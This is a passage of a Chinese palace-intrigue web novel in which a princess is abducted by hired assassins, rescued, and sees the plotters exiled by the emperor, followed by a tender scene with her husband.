她说着,目光怯生生地扫过马车中的姒华容,又迅速垂下,一副窘迫与无奈的样子。 巧遇?姒华欢心中冷笑。 太子微服私访是公开的差事,具体行程和时间人人可知。 这前不着村后不着店的官道,她薛宝芝一个相府千金,出门采风,只带这么几个仆从,还偏偏恰好在太子必经之路上坏了马车。 世上哪有这般巧合的事? 怕不是特意在此等候多时了。 姒华欢懒得与她虚与委蛇,毫不犹豫开口拒绝:“原来如此。不过薛大小姐怕是找错人了。我们此行是奉旨微服私访,体察民情,并非返京。只怕与薛大小姐并不同路,无法载你一程。” 薛宝芝闻言,脸上露出一丝失望,却又不死心,抬起盈盈水眸,望向马车中的姒华容,声音轻柔地询问:“不知太子殿下此刻是要前往何处?” 这没什么好隐瞒的,姒华容如实答道:“孤此行欲往泾阳县。” 薛宝芝眼睛一亮:“泾阳县!真是巧了,臣女的别院,正在泾阳县相邻的云阳镇。” “若是殿下允许,能否……载臣女一程?到了泾阳县,臣女自行雇车回去便可,决不敢多耽搁殿下行程!” 她这话接得又快又顺,仿佛早就准备好了说辞。 姒华欢在她话音刚落,便再次斩钉截铁地开口:“不方便。我们此行轻车简从,后面跟随的马车也都装满了此行所需的物件,实在没有多余的位置载人。” “薛大小姐若急于回城或去往他处,本公主倒是可以匀一匹马给你,你自己骑回去便是。” 让她一个娇滴滴的大家闺秀独自骑马走,可见根本就不是真心要帮她的。 薛宝芝脸色白了白,咬了咬下唇,眼圈微微泛红,委屈道:“公主殿下,臣女不知是何处言行不当,惹得公主殿下如此不快?臣女只是实在无法,才贸然求助……” 说着,她眼中已然盈满了泪光,要落不落,显得格外可怜。 她这话虽是对着姒华欢说的,那眼神却是看向了姒华容,分明是在向姒华容诉苦,暗示姒华欢仗势欺人,无理取闹。 姒华欢看着她这副惺惺作态的样子,回想起前世她也是这副做派,气得胸口发闷。 姒华容看着眼前的情形,薛家小姐泫然欲泣,妹妹一脸冷然,他眉头微蹙,显然有些为难。 他本性仁厚,觉得将一弱女子独自撇在半路,确实不妥,而且薛宝芝言辞恳切,又言明只到泾阳县即可…… 但妹妹的态度又如此强硬…… 就在姒华容犹豫着该如何开口时,旁边茂密的树林里忽然传来一阵“簌簌”的声响,似乎有什么东西快速掠过。 “啊!”薛宝芝吓得惊叫一声,花容失色,下意识往姒华容的马车前缩了缩,惊恐道,“殿,殿下!那林子里怕不是有山匪吧?” 姒华容脸色微微一凝。他虽带了羽林军,但若真有山匪埋伏,在此处纠缠,绝非良策。 看了一眼吓得瑟瑟发抖、楚楚可怜的薛宝芝,又看了看幽深的林子,只犹豫了一瞬,他便做出了决定。 姒华容沉声道:“薛大小姐不必惊慌。既然如此,你先上孤的马车。待到了前方安全的城镇,孤再遣人送你回去。” 薛宝芝眼中飞快掠过一丝得逞的光芒,连忙敛衽行礼,感激道:“多谢太子殿下!殿下仁德!” 姒华欢简直无语凝噎。 这个薛宝芝,最善算计利用哥哥的仁德之心。今日借着天时地利人和,劫匪出现,正给了她得逞的好时机, 一只温暖干燥的手搭上了她的肩膀,谢昀不知何时已下了马车来到她身边,轻轻揽住她,“此地情况不明,确实不宜久留。先上马车,一切等到了安全地方再说。” 姒华欢虽然气恼,但也知道轻重缓急,只能恨恨瞪了一眼薛宝枝的背影。由着谢昀半揽着他,回到了自己的马车上。 前后护卫的羽林军行动起来,将他们的车架护在中间。车队再次启动,朝着泾阳县的方向行进。 回到马车里,姒华欢依然余怒未消,愤愤地捶了一下身下的软垫。 这个薛宝芝,果然是按捺不住了。 没能参加太子妃考察,命格之说也未能奏效,她早就料到薛宝芝会有所行动。但没想到是以这种下作法子,刻意制造“偶遇”,私下接触姒华容以博取机会。 这一世,虽然因为自己的干预,太子妃的人选已定了在考察中拔得头筹的中书令陈家二小姐。 但薛宝芝显然并未死心,还要横插一脚。 姒华欢前世见识过她的手段。 为了一己私欲,她什么事都做得出来。 以薛宝芝和她背后薛家的性子,恐怕不会轻易罢休,那陈家二小姐怕是会有危险。 姒华欢抬头看向谢昀:“你能不能派几个得力又信得过的人,分头去盯着薛家和陈家?尤其是陈二小姐。” 谢昀立刻明白了她的担忧:“你是怕薛宝芝会对陈二小姐不利?” 姒华欢点头。薛宝芝今日能“偶遇”哥哥,明日就未必不能制造些“意外”给陈二小姐。 陈二小姐性子温婉,家世虽清贵,却未必是薛家的对手。 前世没有发生类似的事情,是因为薛宝芝一路顺风顺水,最终如偿所愿稳坐太子妃之位。 如今形势不同,万一薛宝芝狗急跳墙,谁知道她和薛家会做出什么事情来? 她既然重活一世,有改变的机会,不能眼睁睁看着无辜的陈二小姐受害,让薛宝芝有可乘之机。 谢昀颔首,答应得干脆:“知道了,我会安排人手,暗中留意两府动向。” 见他应下,姒华欢心下稍安。 但一想到薛宝芝此刻正与哥哥同乘一车,不知又会使出什么下作手段,姒华欢就觉得如同吞了只苍蝇般恶心。 本来好心情的一次出游,恐怕是难以清净了。 谢昀抬手抚平她深锁的眉头,握了握她放在膝上攥紧的手,“稍安勿躁,狐狸尾巴既然已经露出来了,总有办法揪住他。” 姒华欢反手回握住他,点了点头。 ***** 紧赶慢赶,抵达泾阳县也需明日。天色渐晚,一行人便在驿馆暂歇。 马车刚停稳,姒华欢便迫不及待跳下车,跨着大步赶到姒华容身边,拉住他的衣袖,将他稍稍带到一旁。 她压低声音,连珠炮似的问道:“哥哥,方才在路上,那薛宝芝在你马车上,可曾做了什么,说了什么?可有什么不妥的举动?” 姒华容看着妹妹如临大敌的模样,不由觉得有些好笑,轻轻拍了拍她的肩膀,温声道:“蓁蓁,你也太过紧张了。我的马车宽敞,她规规矩矩坐在一侧,能做什么?不过说了些诗词歌赋,沿途风物。我听着,偶尔应和一两句罢了。” “只是说话?”姒华欢狐疑地追问,显然不信薛宝芝会放过这等独处的良机,生怕哥哥被薛宝芝那层温良的假面所蒙蔽。 姒华容神色稍认真了些,说道:“蓁蓁,你的担忧,我明白。薛家之心,朝野皆知,我心里有数。明日一到泾阳县,我便立刻安排人送她返回京城,绝不会让她再随行。” 听到哥哥如此明确的回复,姒华欢悬着的心这才算彻底落了回去。 哥哥虽性子仁厚,但也不是偏听偏信之人,他有自己的一条线,不得让人轻易触碰。 只要哥哥清醒,不被薛宝枝的表象所迷惑,薛宝芝单凭自己,也掀不起什么大风大浪。 晚膳时,气氛有些微妙。薛宝芝被安排在另一处小厅用膳,并未与姒华欢他们同席,这让她试图在饭桌上进一步表现的计划落了空。 薛宝芝精心策划的计划被康乐搅和,太子面对她也无动于衷,她哪有心思用晚膳,愤恨地看着远处的姒华欢,最后化作一声冷哼。 哼,将死之人罢了。 用过晚膳后,谢昀便去安排明日行程及护卫布防之事。 姒华欢则带着姚黄和魏紫,在驿馆的院子里慢慢踱步,赏赏夜景,消食散心。 院中植着几株老树,月色朦胧,洒下清辉。四周静谧,只偶尔听到驿馆内传来的零星人语和马厩里马匹的响鼻声。 这份安逸并没有持续多久,一个纤细的身影从廊柱后转出,缓缓走向姒华欢。 是薛宝芝。 此时的薛宝芝,面色与白日里那副楚楚可怜的模样截然不同。 她脸上没什么多余的表情,神色平静,甚至带着一丝冷意和几分高傲,径直走到姒华欢面前,先是规矩地行了个礼。 “公主殿下。”薛宝芝开口,声音不再如白日般娇柔。 未等姒华欢免礼,她便自行直起身,直视姒华欢,开门见山地问道:“臣女心中一直有个疑惑,不知可否请公主殿下解惑?” “臣女自问从未主动冒犯过公主殿下,甚至在不久前的宫宴上,臣女还曾施针相救。公主即便不念这份情,又何至于以怨报德,对臣女抱有如此大的敌意,屡屡针锋相对?” 得了赏赐,还说得好像她是什么狼心狗肺的小人一般。 “相救”只不过是命运安排下的巧合罢了,薛宝芝倒一直惦念着,挟恩图报。 既然对方直接挑明了说,姒华欢也直言道:“薛宝芝,你心中所求为何,你我心知肚明。你应当清楚,太子妃人选,已定了中书令陈家的二小姐。” “你身为薛相嫡女,更应懂得何为自重。莫要再耍那些上不得台面的花招,妄图贪得你不该肖想的东西。” 薛宝芝闻言没有动怒,反而轻笑了一声:“公主殿下,太子妃之位,关乎国本,最终人选,自然是由陛下和太子殿下圣心独断,并非公主一言便可定夺的。” “臣女一直想与公主殿下和睦相处,毕竟将来或许……只可惜公主似乎不愿给臣女这个机会。” 姒华欢没想到今日给薛宝芝的刺激这么大,竟然让她野心毕现,主动撕破伪装。 姒华欢哂笑一声,上前一步,一字一句道:“薛宝芝,你听好了,只要有本公主在一日,你就永远别想坐上太子妃之位。” 两人目光在空中相撞,似有无形的火花迸溅而出,气氛降至冰点。 然而就在这剑拔弩张的时刻,忽闻周围一阵响动,数道黑影如同鬼魅般从院墙外翻越而入! 紧接着,更多的黑衣人和粗布麻衣蒙面之人从四面八方涌来,竟有几十人之多! 他们个个手持利刃,动作迅捷。 糟了,是山匪! “有刺客!保护公主!”姚黄反应极快,厉喝一声,瞬间抽出腰上的长剑,身形一展便迎了上去,与冲在最前面的几人缠斗在一起。 魏紫也吓得脸色发白,但还是勇敢地护在姒华欢身前。 可那些黑衣人的目标极其明确,大部分人都无视了一旁的薛宝芝和姚黄,直扑姒华欢而来。 姚黄虽武艺高强,但双拳难敌四手,很快被五六名黑衣人联手制衡,脱身不得,只得焦急大喊:“殿下!快去驿馆里面找侯爷!” 姒华欢转头望向驿馆,驿馆内部也传来了兵刃相交的声音,显然里面的战斗也同样激烈。 姒华欢心中惊慌,脑中一片混乱。 谢昀!谢昀在哪?他在驿馆里面吗? 前后皆敌,她该往哪儿跑? 她下意识依姚黄所言,拽过魏紫,转身就往驿馆内跑,去找谢昀。 她刚转身跑出两步,一只大手,蓦然从后方搭上了她的肩膀—— 作者有话说:说到做到!惊喜补更!今日补个大肥章~不夸夸我吗[哈哈大笑] 第66章 大义灭亲 那只手扣得极用力, 抓得她肩膀生疼,绝非谢昀。 呼救声来不及出口,黑衣人扛着她, 动作矫健地从后门跑了出去。 后门外还有一批人, 姒华欢拼命挣扎,双腿乱蹬, 黑衣人只得将她放到地上。 马上就有另一名黑衣人上前, 将她的双臂反剪到身后, 用粗糙的绳索将她的双手绑得死死的, 双腿也被同样绑住。 姒华欢被粗暴地横着扔在了其中一匹马的马背上,腹部硌在硬邦邦的马鞍上,痛得她眼前发黑。 “走!”其中一名黑衣人下令。 马匹开始狂奔, 剧烈的颠簸让姒华欢五脏六腑都快移位了,腹部被顶得都快要吐出来。 她前世虽最终凄凉, 但也算死得干脆。何曾像现在这样, 如同货物般被他人掠夺, 面对着未知的命运。 她一名女子被山匪掳走,能有什么好下场? 各种各样可怕的猜想在她脑中翻腾,每一个都让她不寒而栗。 她不敢再想下去。 风声在耳边呼啸,驿馆内的打斗声依旧激烈, 显然无人能分身来救他。 谢昀呢?他发现自己不见了吗?他会不会来救她? 她自己都没发现,在不知不觉间, 她对谢昀已有了深深的依赖。 巨大的恐惧让她开始胡思乱想, 自己会不会就这样死掉?死在荒郊野外,连尸骨都找不到? 她前世过得顺风顺水,除了最后的死,从未遇到过什么险情。 反而重生后危机四伏, 几番差点要了她的命。 就在她意识昏沉,快被这颠簸折磨得昏过去时,后方突然也响起了一阵急促杂乱的马蹄声,并且迅速接近。 “敌袭!小心!”为首的黑衣人厉声喝道。 紧接着便是兵刃碰撞的声音,打斗声四起,原本有序的队伍瞬间大乱。 姒华欢艰难地转过头看去,只见另一批数量也不少的人马从后面冲上来,二话不说便与掳走她的山匪们厮杀在一起。 姒华欢被这突如其来的变故惊到,心中重新燃起一丝微弱的希望。 他们并未蒙面,是援兵吗?是谢昀带人追来了吗? “公主殿下!” 耳边响起熟悉的声音,这个声音是……林珩? 姒华欢简直不敢相信自己的耳朵。 怎么会是他?他怎么会出现在这里? 林珩冲到姒华欢身边,迅速抽出腰间匕首。寒光一闪,“唰”地割断了捆绑她的绳索。 紧绷着的身体一下失去束缚,姒华欢差点从马背上滑落,被林珩眼疾手快接住扶稳,即便是此时还不忘礼数:“殿下,得罪了。” 双脚落地,一阵虚软,姒华欢根本站不稳,全靠林珩支撑着,手腕、腰腹、脚腕间都传来阵阵剧痛。 但此刻也顾不上这些了。林珩护着她,将她带到他来时乘的那匹马旁,先扶着她上马。 就在这时,一名黑衣人发现了他们的动作,摆脱了纠缠的对手,持刀冲了过来。 “小心!”姒华欢惊恐尖叫。 林珩不会武功,绝非那黑衣人的对手! 林珩反应极快,立刻松开了拉着她的手。一个旋身,顺手摘下马鞍旁的一把长弓和一支箭。 搭箭,拉弦,瞄准,一气呵成,没有丝毫停顿。 此时夜色浓重,光线昏暗,连那黑衣人的身影都只是模糊一团,更别提要瞄准了。 姒华欢的心揪了起来。 然而林珩只是凭着感觉般熟练拉弓,手指一松。 “咻——” “呃啊!”那黑衣人身体一僵,前扑的势头戛然而止。 他难以置信地低头,看着自己胸口处多出的那一截箭羽,轰然倒地,再无声息。 一箭毙命! 姒华欢目瞪口呆地看着这一幕。 这一手出神入化的箭术,行云流水的过程,还有在危急关头展现出的冷静和果断,与林珩平日温文尔雅的形象判若两人。 林珩一击得手,没有恋战,迅速转身就要上马。 又一阵马蹄声,由远及近。 姒华欢循声望去,为首之人,正是谢昀! 谢昀一眼就看到了坐在马背上的姒华欢,猛地勒住缰绳,骏马前蹄扬起,发出一声长嘶。 他甚至来不及等马完全停稳,便已飞身下马。 “留活口!”他厉声对身后紧随而至的羽林军下令,目光却始终牢牢锁在姒华欢身上,几步便冲到了他们的马前。 “谢昀!” 姒华欢在看到他的瞬间,一直强撑着的坚强终于彻底崩溃。 恐惧、无助、委屈、后怕……所有的情绪都涌了上来。 她下意识向谢昀张开双臂,带着哭腔喊出了他的名字。 谢昀的心被狠狠揪了一下,又疼又胀。 他伸出双臂稳稳地将姒华欢从马背上抱了下来,动作极尽轻柔,与方才下令留活口时的狠戾判若两人。 落入这个熟悉而令人心安的怀抱,姒华欢脑中紧绷的那根弦彻底松懈。 她紧紧揽住他的脖子,将脸埋在他的颈间,身体不受控制地微微颤抖,声音哽咽:“你怎么才来……” 感受到怀中人的害怕和依赖,谢昀的心软成了一滩水。 他收紧手臂,将她更紧地圈在怀里,低下头用脸颊轻轻蹭了蹭她冰凉的发丝和耳廓,声音低柔:“好了好了,没事了,是我来晚了。” 他一遍遍地低声哄着,直到感觉到她的颤抖渐渐平复,这才抬起眼,看向面前的林珩,眼神里的温柔尽数褪去。 “林侍郎,”谢昀开口,声音恢复了平日的沉静,“天色已晚,荒郊野外,你怎会在此?” 林珩未被派往外差,为何会“恰好”出现在此处?还“恰好”带了人手,将姒华欢从这群山匪手中救下? 天底下哪有这般巧合的事?莫非他灵魂一直暗中尾随车队? 他这般处心积虑,怕不是眼前这群“山匪”劫掠根本就是他精心安排,自导自演一出“英雄救美”的好戏。 他的目的是什么,为了博取姒华欢的好感与信任吗? 林珩自然听出他话中的猜疑,看着被谢昀紧紧护在怀里的姒华欢,面露难色,嘴唇嗫嚅了一下,似乎有难言之隐,欲言又止。 这时杜风快步上前禀报:“侯爷,这些山匪拼死抵抗,只留下三个活口,其余皆已伏诛。” 谢昀目光再次转回林珩身上,等待着他的解释。 林珩表情挣扎,半晌,他深吸一口气,仿佛下定了某种决心,对着姒华欢深深一揖,语气充满了愧疚与沉痛: “公主殿下受惊,皆是臣管教无方之过。是臣……没有约束好家中幼妹,以致她胆大包天,犯下此等弥天大祸……” 幼妹? 姒华欢正埋在谢昀怀里平复心绪,听到林珩这话,抬起头,泪眼婆娑的脸上满是惊疑。 她拍了拍谢昀的肩膀,示意他放开自己。 谢昀轻轻让她落地,站稳,手臂依旧虚环着她,呈保护的姿态。 “林妙晴?”姒华欢问道。 林珩的幼妹,不就是行四的林妙晴吗。 林珩直起身,满是惭愧。 他不敢直视姒华欢的眼睛,低垂着眼帘,痛心道:“臣不敢欺瞒公主殿下……今日臣下值回府,无意中经过舍妹妙晴的院子,恰巧听到她正与长宁郡主密谈……” “他们在商议要寻一批刺客假扮山匪,于公主随太子殿下微服私访途中……行刺公主。” 什么!? 竟然是林妙晴和长宁要杀她!? 长宁许久未出现,她几乎都要忘了这个蠢货的存在。 长宁胁骨的伤才好利索,就迫不及待要替她那被废黜的弟弟报复了吗? 谢昀闻言,眸中寒光一闪,语气听不出喜怒:“哦?林侍郎倒是大义灭亲。” 林珩面露苦涩:“此等谋害公主的大事,臣岂敢因私废公,替她遮掩?若是知情不报,任由公主涉险,那便是真的害了公主,更是陷我林家于万劫不复之地。” “臣得知此事,心中骇然,不敢有片刻耽搁,立刻召集了府中所有能调动的护卫一路追寻而来,万幸来得及……” 谢昀将目光转向地上那三个被捆成粽子的刺客,居高临下,冷声道:“说,受谁指使?” 其中一名刺客喉咙里发出“咿呀咿呀”模糊的声音,似乎想说话。 杜风会意,上前动作熟练地检查他的口腔,从牙槽里抠出一颗小小的毒囊,这才“咔嚓”一声将他的下巴接了回去。 那刺客本意是骗他们帮他接回下巴,好趁机咬破毒囊自尽。没想到对方经验老道,直接破了他的打算。 计划落空,他眼中闪过一丝狠戾,朝着林珩的方向啐了一口带血的唾沫:“呸!有本事就杀了老子!” 谢昀连眼皮都没眨一下,只冷冷吐出两个字:“杜风。” 杜风应声而动,腰间长剑出鞘,剑光一闪—— 那刺客甚至来不及做出第二个表情,喉咙便已被利刃割开。 他瞪大眼睛,难以置信地看着面无表情的谢昀,完全没料到对方会如此干脆利落地了结他。 鲜血如喷泉般从他颈间汹涌而出,他身体抽搐了几下,便直挺挺倒在地上,很快便没了声息,死不瞑目。 这血腥狠辣的一幕,不仅震慑了另两名活口,连一旁的林珩脸色都白了白。 “侯爷,大理寺办案,须得留下活口做人证啊!”林珩急声劝阻。 “人证?林侍郎不就是最好的人证吗?还是说林侍郎方才所言,有虚?” 林珩被他噎得说不出话来。 地上那两名幸存的刺客亲眼目睹了同伴被毫不留情斩杀,又听到谢昀与林珩的对话,心理防线彻底崩溃。 眼下他们回去是死,不回去,进了大理寺那令人闻风丧胆的诏狱,才是真正的求生不得,求死不能。 求生欲压倒了一切,两人也顾不得什么忠诚,立刻挣扎起来,喉咙里发出“嗯嗯啊啊”的急切声,争先恐后想说话。 杜风见状,上前将两人下巴都接了回去。 两人一能说话,顾不上疼痛,立刻如同竹筒倒豆子般,哆哆嗦嗦抢着交代: “是,是长宁郡主!” “对!是长宁郡主找的我们,她给了我们一大笔钱,让我们扮作山匪,劫杀康乐公主!” 竟然真的是长宁! 姒华欢怒火中烧。 都不必多想,定是林妙晴出谋献策,将条条毒计灌输给长宁那个蠢货,而长宁则只知道傻乎乎冲在前面执行。 如此一来,即便事情败露,刺客也只会供出长宁这个明面上的主使,真正躲在背后使阴毒之计的林妙晴,反而能将自己摘得干干净净。 林妙晴向来擅长这种借刀杀人的阴损伎俩。 若非她们密谈恰巧被林珩撞破,她真的可能会到死也不知道自己怎么死的。 或许她们本意或许并非当场杀她。但让几十个男人扮作山匪将她掳走,只要一夜未归,明日京城会传出怎样不堪入耳的谣言? 简直卑鄙无耻到了极点! 一想到自己差点落入万劫不复的境地,新仇旧恨齐齐涌上心头,姒华欢气得浑身发抖,恨不得现在就将长宁和林妙晴千刀万剐! 她一把拉住谢昀的手往他马的方向走,“回京!现在就回京!” 她一刻也等不了,她要连夜赶回京城,让她们付出代价!—— 作者有话说:友友们,以后更新改到23:00啦[求你了] 最近换了一个烦人的新领导,工作量骤增,白天没法摸鱼码字,只能下班回来写。 我的手速实在是慢,为了保证质量,只能晚更一个小时了[玫瑰] 第67章 “把大腿磨破了……”…… 天光未亮, 城门紧闭,几骑快马直奔城门而来。 “来者何人?速速下马!”守城士兵厉声喝道。 城墙上的守卫也纷纷张弓搭箭,严阵以待。 谢昀勒住缰绳, 从腰间摸出一枚金色腰牌扔进守城将领怀中, “我与康乐公主有急事面见陛下,速开城门!” 守城将领接住腰牌, 借着火把光芒一看, 上面刻着“明安侯”字样以及特有的纹饰。 再看向侯爷身前马背上那位发髻微乱, 却难掩贵气的女子, 不是康乐公主,又会是谁? 能让明安侯与康乐公主如此连夜疾驰回京的,定然是塌天的大事。 他不敢有丝毫怠慢, 更不敢多问半句,连忙躬身行礼:“末将参见公主殿下, 侯爷。” “快!开城门!” 沉重的城门缓缓开启一条缝隙, 足够几人通过。谢昀一夹马腹, 带着姒华欢策马而入,马蹄铁的敲击声回荡在空旷的街道上。 宫门处亦是如此,守卫远远见到几骑奔来,认出为首马上的二人, 讶然无比。 宫门虽下钥,但康乐公主深夜闯宫, 谁敢阻拦?康乐公主可是连进紫宸殿都不需要通报的! 守卫首领连请示都省了, 直接下令:“开宫门!” 嘉平帝在睡梦中被张公公焦急唤醒:“陛下……陛下恕罪!康乐公主与明安侯深夜入宫,已在紫宸殿外候着,公主殿下似乎……受了惊吓。” 嘉平帝瞬间睡意全无,心头一沉, 蓁蓁和景初都不是不知轻重的人,此刻闯宫,必定是出了天大的事。 他立刻起身披上外袍,大步走向紫宸殿。 一进殿门,就看到地上扔着两个被捆成粽子的黑衣人,谢昀和林珩肃立一旁,面色凝重。 而他的宝贝小女儿发髻松散,衣裙沾染尘土,一张小脸上满是怒意。 “父皇!”姒华欢见到嘉平帝,立刻上前。 嘉平帝脸色一沉,“蓁蓁,这是怎么回事?” 姒华欢将今晚在驿馆如何遭遇“山匪”劫杀,自己如何被掳,林珩又如何及时出现相救,并供出幕后主使是长宁和林妙晴的事情,原原本本,条理清晰地陈述了一遍,越说越愤慨。 嘉平帝越听脸色越是铁青,周身散发出骇人的低气压。待姒华欢说完,他一拍桌案:“砰!” “岂有此理!简直无法无天!”嘉平帝勃然大怒,锐利的目光投向林珩,“林珩,你所言可属实?若有半句虚言,欺君之罪,你当知道后果。” 林珩立刻撩袍跪地,“陛下明鉴,微臣所言字字属实,绝无半句虚假。此事关乎公主安危,微臣岂敢欺君罔上。” 嘉平帝目光扫过被捆着跪在地上的两个黑衣人,面见天子两人魂都快吓飞了,听完林珩的话,连忙附和着点头,证明林珩所言非虚。 “好,好一个长宁,好一个林家女。”嘉平帝怒极,喝道,“来人!立刻去宣晋王、长宁、林海、林妙晴,让他们立刻给朕滚进宫来!” 四人是在睡梦中被内侍紧急传召入宫的,甚至连梳洗打扮的时间都没有,只匆匆挽了发髻,用一根玉簪固定,衣衫勉强整齐地被带到了紫宸殿。 一踏进大殿,看到地上被捆的黑衣人,面色冷峻的谢昀,垂手侍立的林珩,以及虽狼狈却完好无损的姒华欢,长宁和林妙晴的脸色“唰”一下白了。 四人慌忙跪地行礼:“参见陛下。” 嘉平帝根本懒得听他们废话,直接抓起龙案上的镇纸,狠狠摔在晋王和林海面前。 “看看你们教出来的好女儿!一个郡主,一个相府千金,竟买凶假扮山匪谋害当朝公主,你们是想造反吗!?” 四人伏在地上,谁也不敢接话。嘉平帝正在气头上,这时候辩解便是火上浇油,更是小命不保。 嘉平帝指着晋王和林海的鼻子将两人骂得狗血淋头,怒斥二人教女无方,纵女行凶,枉为人父,更愧对朝廷俸禄! 晋王在马车上已听长宁坦白过,心中又惊又怒,惊的是长宁竟如此胆大包天不提前知会他便做如此大事,怒的是她做事不密轻易被人发现。 上次他的蠢儿子谋害康乐,今日女儿又东窗事发,让他在嘉平帝面前完全抬不起头来,连求情都无法张口。 晋王的声音仿佛苍老了十岁:“是臣教女无方……” 林海更是心中叫苦不迭,他狠狠瞪了一眼跪在地上的林妙晴,瞥过一旁站着的林珩,心中五味杂陈,最终也只能叩首请罪:“臣罪该万死,臣……定当严惩逆女!” “严惩?你们是当然要严惩!”嘉平帝冷哼一声,刀锋般的目光刮过长宁和林妙晴,“姒明玉,林妙晴,你们二人合谋行刺公主,罪证确凿,按律,当斩!” “皇……皇伯父饶命啊!”长宁吓得魂飞魄散,抬头哭喊起来。 知道证据确凿,抵赖不得,向来胆大的林妙晴也是浑身发抖,嘴唇嗫嚅着,一个字也说不出来。 晋王和林海在一旁求情,嘉平帝看着他们眼神中满是厌恶。 片刻沉默后,嘉平帝深吸一口气,沉声道:“看在晋王与林海多年为朝廷效力的份上,朕网开一面。死罪可免,活罪难逃!” “姒明玉、林妙晴二人同谋同罪。朕念其年幼,免其死罪。即日起褫夺长宁封号,徒三千里,永不得回京。晋王、林海,教女无方,罚俸三年,闭门思过一月!” 徒三千里,永不得回京! 这判决如同晴天霹雳,狠狠劈在长宁和林妙晴的头上。 她们自小娇生惯养,如何受得了流放徒刑之苦!这几乎判了她们在边关自生自灭,比直接赐死更加痛苦煎熬! 两人当场瘫软在地,面无人色。 晋王表情晦暗莫测,低着头,看不清眼神,但紧握的双拳显示他内心并不平静。 林海嘴唇动了动,似乎想继续为女儿求情,最终还是将话咽了回去。 为了整个林家,这个女儿,他不得不舍弃了! 谋害公主,按律当诛,陛下是看在晋王这个皇室宗亲的面子上才格外开恩。 林海心中对林妙晴是恨其不争,做事如此疏忽大意,险些拖累整个林家! 更让林海心惊和愤恨的是站在一旁,大义灭亲的好儿子林珩,竟做出如此忤逆不孝之事! 偏偏他还不能发作,更不能将林珩逐出府去,否则岂不是有包庇林妙晴之嫌,公然表露对嘉平帝有不臣之心。 到时候他晚节不保,官位不保,人头也难保! 林海心中一片冰凉。他这个长子城府之深,心狠手辣,远超他的想象。 明明他们是一家人,一荣俱荣,一损俱损,林珩却能毫不犹豫大义灭亲,这是决心要与他这个父亲割席了。 此子怕是再留他不得了。 不然,今日他能大义灭亲检举亲妹,明日就能将他这个亲爹送上断头台! ***** 发落了长宁和林妙晴,走出紫宸殿时,天光已然微亮,晨曦透过云层,渐渐照亮整座皇宫。 快到上早朝的时辰了,嘉平帝特意吩咐,免了谢昀今日的早朝,让他送姒华欢回永安宫,好生休息。 紧绷的身体一旦松弛下来,各种不适便开始显现出来。 姒华欢这才后知后觉地感觉到大腿内侧传来一阵火辣辣的疼痛,是长时间骑马摩擦导致的破皮,每走一步都牵扯伤处,疼得她暗暗吸气,脚步不由自主慢了下来,走路的姿势也变得有些怪异和僵硬。 谢昀注意到她的异样,停下脚步,问道:“怎么了?可是伤着哪里了?” 出发前他简单检查过,她身上并无哪里受伤。 姒华欢脸颊微热,这个位置的伤实在有些难以启齿,支吾着说:“没……没什么,就是有些累了。” 谢昀显然不信,看她眉间微蹙,分明是忍痛的表情。 他停下脚步,转身背对姒华欢,蹲下,“上来,我背你回去。” “不要。”姒华欢连连摇头。 背的姿势……双腿分开跨在他腰间,岂不是会扯到伤口更疼? “到底怎么了?”谢昀站直身体,面对她问。 姒华欢被他盯得实在无法,耳根都红了,低下头,声音细若蚊蚋:“骑马把大腿磨破了……” 谢昀愣了一下,随即了然。 她的身子金尊玉贵,何曾有过如此长时间又剧烈的骑马,娇嫩的肌肤定是被马鞍磨破了皮。 他看着眼前这个平时蹭破点皮都要哼唧半天,娇气很的人,此刻却忍着这样的疼痛,一路奔波、陈情,直到一切尘埃落定才表现出来,心中更是对长宁和林妙晴愤恨几分。 “怎么不等好了再告诉我?”谢昀语气听不出是责备还是心疼,“刚下马的时候怎么不说?平时娇气得很,现在倒是能忍了。” 说着,他不容分说,上前一步,弯腰,一手穿过她的膝弯,一手揽住她的背,轻松将她打横抱了起来。 “啊!”姒华欢惊呼一声,下意识搂住他的脖子,在他耳边小声道,“你干什么!被人看到像什么话……” “别乱动,没人敢乱看。”谢昀抱着她,步伐稳健地朝永安宫方向走去。 如他所言,宫道上来往的宫人内侍见到谢昀抱着姒华欢行走,皆纷纷转身面对宫墙避让,不敢多看。 反倒是谢昀走出一副理所应当的样子,生怕别人注意不到似的。 怕引来更多目光,姒华欢只好将脸埋在他胸前。闻着他身上好闻的白兰香,她心中居然渐渐安定下来。 谢昀一路将她抱回永安宫,轻轻将她放在柔软的床榻上。 谢昀轻车熟路走到殿内一角,找出药箱打开,从里面瓶瓶罐罐中挑出一盒玉露膏,拿着药膏走回床前。 两人大眼瞪小眼。 姒华欢怔怔地看着他。 他们回来的匆忙,姚黄和魏紫因为之前的混乱,并未跟他们一同回宫。 他拿着药膏杵在这里什么意思?难道……要亲自给她上药? 姒华欢好不容易降温的脸再次升温,脖颈都染上绯色。 她慌忙移开和谢昀对视的眼神,伸手去拿他手里的药膏,小声道:“……给我吧,我,我自己来。” 谢昀手一闪,避开了她的动作,挑眉看着她:“你自己来?伤口在哪你自己清楚,那个位置你自己怎么涂?我来。” “当然看得见!”姒华欢再次试图起身去够药膏,动作间不可避免地牵扯到了大腿内侧的伤处,顿时疼得倒吸一口凉气。 “嘶——” 谢昀一脸“我就知道”的表情看着她:“躺好,我给你上药。” 姒华欢浑身僵硬,一动不动。 在那里上药的话,她岂不是要打开双腿,以那样羞耻的姿势在他面前…… 不行,绝对不行! 强烈的羞耻感让她整个人都快烧起来了,谢昀见她这副羞愤欲绝的模样,低低地笑了一声:“怕什么?又不是没看过。” 又开始了! “不许再说了!”姒华欢抓起一旁的软枕就想砸他,却牵动了伤处,又是一阵呲牙咧嘴。 谢昀接过软枕放好,收敛了些笑意:“只是上药而已。你放心,这个时候我要是还对你做点什么,那真是禽兽不如了。” 姒华欢嘟囔道:“你本来就是……” 谢昀无奈摇头,再次道:“躺好。” 知道躲不过去,自己确实也疼得厉害,姒华欢内心挣扎了片刻,最终还是屈服于现实。 她认命般慢慢躺了下去,缓缓打开双腿。 她抓起一旁的锦被盖在脸上,这样的鸵鸟行为才能消除一些羞耻感。 殿内气氛变得难以言喻。 谢昀目光闪烁了一下,拿起药膏,坐在床沿,小心翼翼掀开了她裙摆的一角。 第68章 “别走……” 用过午膳, 姒华欢身心俱疲,刚要倚在软榻上想歇息片刻,便有宫人前来禀报, 说是大理寺诏狱的狱卒传来消息, 罪女林妙晴恳请见公主一面,称有事相告。 姒华欢闻言, 微微蹙眉。 林妙晴?她还有什么好说的?求饶吗?还是不甘心, 想耍什么花样? 姒华欢本不欲理会, 一个即将流放千里之人, 还有什么值得她费神的。但转念一想,还是决定去一趟。 她倒要看看到了这步田地,林妙晴还能玩出什么花样。 